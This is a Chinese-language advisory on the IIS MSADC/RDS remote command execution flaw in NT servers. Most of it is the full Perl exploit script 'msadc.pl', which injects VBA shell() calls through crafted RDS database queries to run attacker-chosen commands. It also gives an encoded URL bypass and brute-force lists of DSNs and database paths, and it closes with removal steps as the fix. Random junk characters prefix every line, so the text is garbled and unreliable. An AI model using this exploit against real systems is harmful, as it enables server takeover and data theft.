IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
^/KfH&E 2tr
:xi@ 涉及程序:
9\51Z:> Microsoft NT server
J6|JWp qMgfMhQ7DU 描述:
^E@@YV 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
'_Wt}{h {*=E?oF@ 详细:
X7cWgo66T 如果你没有时间读详细内容的话,就删除:
j8HOc( c:\Program Files\Common Files\System\Msadc\msadcs.dll
[%.18FWI 有关的安全问题就没有了。
nlfPg-78B+ ~"mj;5Id 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
NM L|"R; 0M!0JJy#* 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
<%!J? 关于利用ODBC远程漏洞的描述,请参看:
.:0M+Jr" 4]6 Qr http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm &G{2s J5{ {;RF 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
fcAIg(vW http://www.microsoft.com/security/bulletins/MS99-025faq.asp ]t/f<jKN^ G*\sdBW!k 这里不再论述。
\REc8nsLy ^pcRW44K 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
9y+[o _om[VKJd /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
[,7-w 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
S[U/qO)m D9^7m
j?e oeNzHp_ #将下面这段保存为txt文件,然后: "perl -x 文件名"
aW`dFitpM a>b8-j=J #!perl
B
T7Id #
+Jw{qQR/* # MSADC/RDS 'usage' (aka exploit) script
WFh@%j #
aF])"9 # by rain.forest.puppy
T'R,vxP)\ #
zUQe0Gc.b^ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
qz:]-A # beta test and find errors!
A[9NP-~ 5^F]tRz- use Socket; use Getopt::Std;
uu3M{*} getopts("e:vd:h:XR", \%args);
_<u;4RO(s >-<F) print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
,Oi^ySn .YiaXP if (!defined $args{h} && !defined $args{R}) {
5+FLSk print qq~
56ZrCr Usage: msadc.pl -h <host> { -d <delay> -X -v }
0ny{)Sd6um -h <host> = host you want to scan (ip or domain)
R92R}=G! -d <seconds> = delay between calls, default 1 second
K`gc 4:A -X = dump Index Server path table, if available
J9a $AU* -v = verbose
R9=K(pOT -e = external dictionary file for step 5
e`ex]py<C Y`]rj-8f0B Or a -R will resume a command session
c(:Oyba q2Rf@nt ~; exit;}
j)Lo'&Y~= QT_^M1% $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
?360SQ< if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
w -dI<s if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
.D3`'K3t{[ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
^N{X " $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
++k J\N{ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
RO$*G
jQd ]+lF=kkc% if (!defined $args{R}){ $ret = &has_msadc;
paYz[Xq die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Bt6xV<jD vrO%XvXW print "Please type the NT commandline you want to run (cmd /c assumed):\n"
0x4l5x$8 . "cmd /c ";
@WJf) $in=<STDIN>; chomp $in;
+{0=<2(EC $command="cmd /c " . $in ;
a|z1K BJIFl!w if (defined $args{R}) {&load; exit;}
_Ff".t<" 7?"9J`* print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
}+JLn%H) &try_btcustmr;
/1N)d?Pcl +Z$a1Y@ print "\nStep 2: Trying to make our own DSN...";
7yUvL8p- &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
fr]Hc+7 UhBz<>i;! print "\nStep 3: Trying known DSNs...";
|DGCdB|`G &known_dsn;
XJ\_V[WA 2+Vp'5>& print "\nStep 4: Trying known .mdbs...";
6,zDBax &known_mdb;
[[$Mh_MD Y)v% if (defined $args{e}){
K]MzP|T, print "\nStep 5: Trying dictionary of DSN names...";
Uk|9@Auav &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
I2W{tl 'Dq"e$JM< print "Sorry Charley...maybe next time?\n";
5 Af?Yxv exit;
v'$ykZ!Z 4zwif& ##############################################################################
5Ny0b|+p !&6-(q9 sub sendraw { # ripped and modded from whisker
]Qc: Zy3 sleep($delay); # it's a DoS on the server! At least on mine...
X)y*#U my ($pstr)=@_;
eoJFh socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
qWkx:-g] die("Socket problems\n");
W -3w7^ if(connect(S,pack "SnA4x8",2,80,$target)){
:g/{(#E@Z select(S); $|=1;
>7W"giWP print $pstr; my @in=<S>;
2t.fD@ select(STDOUT); close(S);
.$OjUlzr-H return @in;
hOV_Oqe4? } else { die("Can't connect...\n"); }}
1k`|[l^
<%(f9j ##############################################################################
ELD
+:b /T{mS7EpYc sub make_header { # make the HTTP request
sbpu
qOL my $msadc=<<EOT
ruWye1X; POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
bf{Ep=- User-Agent: ACTIVEDATA
9/^d~ZO Host: $ip
we
@Y w6< Content-Length: $clen
[!5l0{0 Connection: Keep-Alive
z{AM2Z 2pw>B%1WP) ADCClientVersion:01.06
jw/wcP Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
QZz&1n hg!x_Eq| --!ADM!ROX!YOUR!WORLD!
[CsM<:C Content-Type: application/x-varg
5'),) Content-Length: $reqlen
W0+u)gDDz E=3#TBd EOT
:E}6S ; $msadc=~s/\n/\r\n/g;
&(GopWR`e return $msadc;}
i^~sn `o 5NFq7&rJ6 ##############################################################################
'\4c "Ho j`Tm\!q sub make_req { # make the RDS request
#dL5x{gV= my ($switch, $p1, $p2)=@_;
r';Hxa ' my $req=""; my $t1, $t2, $query, $dsn;
I<IC-k"Y McO@p=M if ($switch==1){ # this is the btcustmr.mdb query
hLCsQYNDU $query="Select * from Customers where City=" . make_shell();
O#A8t<f|M $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
$]xE$dzJ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
"Fo rE9Ta8j6 elsif ($switch==2){ # this is general make table query
^"PfDTyA $query="create table AZZ (B int, C varchar(10))";
lrq>TJEcx $dsn="$p1";}
|)~Ex 9%ev wbn^R' elsif ($switch==3){ # this is general exploit table query
Jx)~kK $query="select * from AZZ where C=" . make_shell();
hYs82P|2Ol $dsn="$p1";}
lK_
~d_f '3IkPy1Uz elsif ($switch==4){ # attempt to hork file info from index server
Cln^ 1N0 $query="select path from scope()";
<aD'$(N5 $dsn="Provider=MSIDXS;";}
5+o
2 T] VZAuUw+M elsif ($switch==5){ # bad query
tvGg@Xs\ $query="select";
xn0s`I[ $dsn="$p1";}
MYKs??]Y1 +qE,<c}} $t1= make_unicode($query);
p`shYyE $t2= make_unicode($dsn);
)zo#1$C- $req = "\x02\x00\x03\x00";
h2im
sjf $req.= "\x08\x00" . pack ("S1", length($t1));
+d|:s $req.= "\x00\x00" . $t1 ;
3Pw%[q=g $req.= "\x08\x00" . pack ("S1", length($t2));
};4pZceV $req.= "\x00\x00" . $t2 ;
\H},ouU $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
W*1d
X"S return $req;}
#i'C nNkyOaK*4 ##############################################################################
@'6S[zU \65vfE~ O sub make_shell { # this makes the shell() statement
ubiQ8Bx return "'|shell(\"$command\")|'";}
{ILp[&sL 7Y$4MMNQ ##############################################################################
u<BHf@AI ^p{A!I! sub make_unicode { # quick little function to convert to unicode
=ip~J<sw& my ($in)=@_; my $out;
u?LW+o for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
ez{P-qB return $out;}
GLbc/qs v4nvZ6 ##############################################################################
gPF}aaB6 Nv}U/$$S sub rdo_success { # checks for RDO return success (this is kludge)
tg4LE?nv my (@in) = @_; my $base=content_start(@in);
F5:2TEA if($in[$base]=~/multipart\/mixed/){
z(8)1#(n7 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
h0'8NvalQ return 0;}
FY_avW (MF+/fi ##############################################################################
KqT#zj
&"@HWF sub make_dsn { # this makes a DSN for us
(**-"o]HH my @drives=("c","d","e","f");
5?#OR!N print "\nMaking DSN: ";
jV(xYA3 foreach $drive (@drives) {
s8`}x _k= print "$drive: ";
T%;k% my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
+xoyKP! "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
A52LH, . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
c+)36/; X $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
ej)BR'* return 0 if $2 eq "404"; # not found/doesn't exist
FF~on06! if($2 eq "200") {
AQJ|^'% foreach $line (@results) {
)3D+gu return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
&etL&s v } return 0;}
0xvMR&.H u&?yPR ##############################################################################
(r#5O9|S llTQ\7zP sub verify_exists {
r_!{!i3B my ($page)=@_;
!3b|*].B my @results=sendraw("GET $page HTTP/1.0\n\n");
*o:BoP=S return $results[0];}
Qd&d\w/ yhw:xg_;Kz ##############################################################################
\UkNE5 k'WS"<- sub try_btcustmr {
6Y92& my @drives=("c","d","e","f");
[N0/"> c my @dirs=("winnt","winnt35","winnt351","win","windows");
k8Su/U )D6'k{6 M foreach $dir (@dirs) {
sp=7Kh?|> print "$dir -> "; # fun status so you can see progress
+Tgy,oD0 foreach $drive (@drives) {
F1{?]>G print "$drive: "; # ditto
H`+]dXLB $reqlen=length( make_req(1,$drive,$dir) ) - 28;
r-1yJ $reqlenlen=length( "$reqlen" );
B^_$
hJncc $clen= 206 + $reqlenlen + $reqlen;
)eTnR:= nsr
_\F\ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
82^
z-t{ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
EA%#/n else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
'AAF/ 9 ^6N3n kyZ ##############################################################################
luG023' &kr_CP:; sub odbc_error {
uJ)\P my (@in)=@_; my $base;
vMW-gk my $base = content_start(@in);
z$8e6* if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
ZPxOds1m $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
1A)wbH) $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
kcma/d $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
>ji}j~cH return $in[$base+4].$in[$base+5].$in[$base+6];}
6bA~mC^& print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
b6?Xo/lJ. print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
eJVOVPg<, $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Z7KB?1{G b& _i/n( ##############################################################################
SzgY2+Qq VfE^g\Ia sub verbose {
3LmBV\[" my ($in)=@_;
@4 return if !$verbose;
XSHwE)m print STDOUT "\n$in\n";}
)P(d66yq'u c!(~BH3p ##############################################################################
{8>_,z^P) U#FJ8CD&u sub save {
LzEE]i my ($p1, $p2, $p3, $p4)=@_;
~3* ZG open(OUT, ">rds.save") || print "Problem saving parameters...\n";
.eDxIWW+ft print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
rt\<nwc close OUT;}
6"rFfdns gl(6m`a> ##############################################################################
!,-qn)b n_!]B_Vd$ sub load {
}ii]cY my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
[w#x5Xsn open(IN,"<rds.save") || die("Couldn't open rds.save\n");
dTU.XgX)1^ @p=<IN>; close(IN);
:+Z>nHe $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
8'g*}[ $target= inet_aton($ip) || die("inet_aton problems");
46.q anh print "Resuming to $ip ...";
I;|5C=! $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
[u9S+:7" if($p[1]==1) {
[&]YVn>kj $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
{*5;:QnT $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
7:R{~|R my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
m;tY(kO if (rdo_success(@results)){print "Success!\n";}
|]]pHC_/W else { print "failed\n"; verbose(odbc_error(@results));}}
Jz:W-o elsif ($p[1]==3){
Y"]e H{ if(run_query("$p[3]")){
vI:bl~ print "Success!\n";} else { print "failed\n"; }}
,{mf+ 3&$, elsif ($p[1]==4){
w3]0
!)t1 if(run_query($drvst . "$p[3]")){
][>M<J print "Success!\n"; } else { print "failed\n"; }}
&|&YRHv exit;}
q%=7<( w o`y*yucHI ##############################################################################
e&a[k >a anLLO sub create_table {
Spr:K, my ($in)=@_;
!\D]\|Bo $reqlen=length( make_req(2,$in,"") ) - 28;
iw]BQjK $reqlenlen=length( "$reqlen" );
;6&=]I $clen= 206 + $reqlenlen + $reqlen;
Lh9>8@ jf
my @results=sendraw(make_header() . make_req(2,$in,""));
IG3K Pmu return 1 if rdo_success(@results);
y8(?:#ZC my $temp= odbc_error(@results); verbose($temp);
,ex(pmZ; return 1 if $temp=~/Table 'AZZ' already exists/;
PB3!; return 0;}
VkP:%-*#v A](}"Pi!n ##############################################################################
?D$b%G{ s%TO(vT sub known_dsn {
oe_[h]Hgl # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
5KPPZmO my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
0.+Z;j "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
g9r5t'; "banner", "banners", "ads", "ADCDemo", "ADCTest");
W0?Y%Da(4m O'sr[ foreach $dSn (@dsns) {
d=5}^v#4 print ".";
f!R^;'a next if (!is_access("DSN=$dSn"));
f6_|dvY3 if(create_table("DSN=$dSn")){
cwD*>[j print "$dSn successful\n";
I>4Tbwy.- if(run_query("DSN=$dSn")){
F+m4 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Xy8ie:D print "Something's borked. Use verbose next time\n";}}} print "\n";}
jiB>.te Z?!:=x>7m ##############################################################################
3b[[2x_UU {pJ@I=q sub is_access {
Y|N vBr my ($in)=@_;
I9j+x]) $reqlen=length( make_req(5,$in,"") ) - 28;
fM[fS?W $reqlenlen=length( "$reqlen" );
kKk |@ $clen= 206 + $reqlenlen + $reqlen;
+q,n}@y= my @results=sendraw(make_header() . make_req(5,$in,""));
nR |LV'( my $temp= odbc_error(@results);
&+r
;> verbose($temp); return 1 if ($temp=~/Microsoft Access/);
`GN5QLg#}0 return 0;}
:>-sITeY !m O] zn ##############################################################################
\S@=zII_ g}og@UY7# sub run_query {
IOES3 my ($in)=@_;
g#<?OFl $reqlen=length( make_req(3,$in,"") ) - 28;
DBh/V#* D $reqlenlen=length( "$reqlen" );
&T/9yW[L $clen= 206 + $reqlenlen + $reqlen;
-0J<R;cVs my @results=sendraw(make_header() . make_req(3,$in,""));
j]F3[gpc return 1 if rdo_success(@results);
LGgx.Z my $temp= odbc_error(@results); verbose($temp);
Q_|S^hxQ return 0;}
uM!r|X)8 Va[dZeoy ##############################################################################
<Phr`/ {^O/MMB\\% sub known_mdb {
cM'[;u my @drives=("c","d","e","f","g");
}PD(kk6fX my @dirs=("winnt","winnt35","winnt351","win","windows");
w0%ex#lkm my $dir, $drive, $mdb;
J<:D~@qq my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
:bF2b..XOu %|6Q7'@p # this is sparse, because I don't know of many
3'@jRK my @sysmdbs=( "\\catroot\\icatalog.mdb",
>U
Ich "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
^0?cyv\>LA "\\system32\\certmdb.mdb",
)^2jsy
-/ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
QR"O)lP n_NG~/x my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
27i<6PAC[A "\\cfusion\\cfapps\\forums\\forums_.mdb",
NTX+7< "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
[-94=|S @ "\\cfusion\\cfapps\\security\\realm_.mdb",
\c^jaK5 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
O
NzdCgY "\\cfusion\\database\\cfexamples.mdb",
kk./-G "\\cfusion\\database\\cfsnippets.mdb",
X!HSS/' "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
^>}[[:( 6/ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
-+2xdLa63 "\\cfusion\\brighttiger\\database\\cleam.mdb",
d1_*!LW$ "\\cfusion\\database\\smpolicy.mdb",
.B-,GD} "\\cfusion\\database\cypress.mdb",
;? QAPTz "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
$,v+i
- "\\website\\cgi-win\\dbsample.mdb",
Z42 Suy "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
<u%e* "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
[B;Ek\ 5W ); #these are just
M#<fh:> foreach $drive (@drives) {
ZaV66Y> foreach $dir (@dirs){
[#fqyg foreach $mdb (@sysmdbs) {
-r0\ print ".";
'Bn_'w~j{ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
qBrZg print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
y(BLin!O. if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
l{x#*~ga print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
BQmafpp` } else { print "Something's borked. Use verbose next time\n"; }}}}}
.Eyk?"^ HSFf&|qqx foreach $drive (@drives) {
gG> ^h1_o~ foreach $mdb (@mdbs) {
?PtRb:RHt print ".";
! { aA*E{ if(create_table($drv . $drive . $dir . $mdb)){
3$f5][+U print "\n" . $drive . $dir . $mdb . " successful\n";
/'^>-!8_1 if(run_query($drv . $drive . $dir . $mdb)){
tl#s: print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
6y!?xot } else { print "Something's borked. Use verbose next time\n"; }}}}
L. ?dI82c }
gx
R|S
W
9MZ ##############################################################################
m&c(N Olh-(u:9+O sub hork_idx {
mK&9p{4#U print "\nAttempting to dump Index Server tables...\n";
6HQwL\r79 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
A{T@O5ucj $reqlen=length( make_req(4,"","") ) - 28;
I`>%2mP[C $reqlenlen=length( "$reqlen" );
D??/=`|8 $clen= 206 + $reqlenlen + $reqlen;
dp W%LXM_ my @results=sendraw2(make_header() . make_req(4,"",""));
UC$+&&rO if (rdo_success(@results)){
q)y8Bv| my $max=@results; my $c; my %d;
mV]g5>Q\ for($c=19; $c<$max; $c++){
[:'?}p $results[$c]=~s/\x00//g;
\`5u@Nzx $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
,B>b9,~3a $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
euC,]n. $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
ee[NZz $d{"$1$2"}="";}
}r<^]Q*&p foreach $c (keys %d){ print "$c\n"; }
[,X,2 } else {print "Index server doesn't seem to be installed.\n"; }}
!9OgA ()JDjzQT ##############################################################################
k}qiIMdI hvZR4|k> sub dsn_dict {
CUcjJ|MZ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
%E_{L while(<IN>){
@y&,e,3! $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
X}^gmu<Vla next if (!is_access("DSN=$dSn"));
xM,(|p( if(create_table("DSN=$dSn")){
eZ$1|Sj]j print "$dSn successful\n";
Bq`kVfx if(run_query("DSN=$dSn")){
zwK;6&(W print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
L#bQ`t print "Something's borked. Use verbose next time\n";}}}
JPKZU<:+V print "\n"; close(IN);}
M&-/&>n! "A3xX&9-q ##############################################################################
l_EI7mJ A2S9h,t sub sendraw2 { # ripped and modded from whisker
S*:w\nXP~ sleep($delay); # it's a DoS on the server! At least on mine...
>ON.ftZi my ($pstr)=@_;
&$im^0`r_ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
yt,;^o^ die("Socket problems\n");
fdHxrH>* if(connect(S,pack "SnA4x8",2,80,$target)){
y5h[^K3 print "Connected. Getting data";
oPZ4}>uV open(OUT,">raw.out"); my @in;
y Dw!u[: select(S); $|=1; print $pstr;
sRnMBW. while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
F
x8)jBB_ close(OUT); select(STDOUT); close(S); return @in;
ZK*aVYnu } else { die("Can't connect...\n"); }}
l]&)an 1ki"UF/ ##############################################################################
x*V<afLY[ ! .}{
f;Ls sub content_start { # this will take in the server headers
NDGBvb my (@in)=@_; my $c;
)Cfrqe1^ for ($c=1;$c<500;$c++) {
+2O_LPV$, if($in[$c] =~/^\x0d\x0a/){
4N:
;Mo&B if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
6>J#M else { return $c+1; }}}
MqH~L?~}| return -1;} # it should never get here actually
z6(Q
3@iO Ba~Iy2\x ##############################################################################
4VgDN(n0@ P^-9?uBno sub funky {
#IDCCD^1= my (@in)=@_; my $error=odbc_error(@in);
^123.Ru|t if($error=~/ADO could not find the specified provider/){
w7u >|x! print "\nServer returned an ADO miscofiguration message\nAborting.\n";
^Yz05\ exit;}
ZZ7U^#RT if($error=~/A Handler is required/){
d5hE!= print "\nServer has custom handler filters (they most likely are patched)\n";
s ~G{-)* exit;}
OK(d& if($error=~/specified Handler has denied Access/){
4y.[tk5 print "\nServer has custom handler filters (they most likely are patched)\n";
"<#:\6aym exit;}}
miqCUbcU xM\ApN~W ##############################################################################
K(S/D(\
FL n
Lb 9$& sub has_msadc {
>j3N-;o@? my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Bs}>#I my $base=content_start(@results);
Q8i6kf! return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
{c;3$ return 0;}
?C3cPt" <^{: K` ########################
=ndKG5 =oJiNM5_u X3yr6J[ ^ 解决方案:
gG>>ynn 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
= ;d<Ikj 2、移除web 目录: /msadc